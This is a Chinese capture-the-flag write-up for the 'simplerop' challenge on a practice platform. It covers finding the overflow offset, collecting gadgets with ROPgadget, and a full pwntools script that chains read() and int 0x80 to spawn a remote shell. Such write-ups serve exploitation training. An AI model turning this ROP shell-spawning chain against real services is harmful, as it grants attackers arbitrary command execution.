1,三连
2,IDA分析
溢出点:
偏移:0x14+4(错误)
这里动态重新测试了一下偏移:
正确偏移:0x20
3,找ROP
思路:
1、找系统调用号
2、ROPgadget找寄存器
3、写入/bin/sh
ROPgadget --binary simplerop --only 'int'
构造:
int80(11,“/bin/sh”,null,null),后面的四个参数分别是eax、ebx、ecx、edx。
一个一个寄存器找呗
ROPgadget --binary simplerop --only "pop|ret" | grep eax
ROPgadget --binary simplerop --only "pop|ret" | grep ebx | grep ecx
ROPgadget --binary simplerop --only "pop|ret" | grep edx
/bin/sh
由于未开启PIE,我们利用simplerop中的read()函数写入bss段。
完整payload:
from pwn import *
context.log_level="debug"
#r = process("./simplerop")
r = remote("node4.buuoj.cn",28990)
elf = ELF("./simplerop")
#params
int_80 = 0x80493e1
pop_eax = 0x80bae06
read_addr = 0x0806CD50
binsh_addr = 0x080EB584
pop_edx_ecx_ebx = 0x0806e850
# read(/bin/sh,0,len) + int80(11,"/bin/sh",null,null)
payload = b'M'*(0x1c+4) + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x8) + p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(binsh_addr) + p32(int_80)
#attack
r.sendline(payload)
r.sendline('/bin/sh\x00')
r.interactive()
完。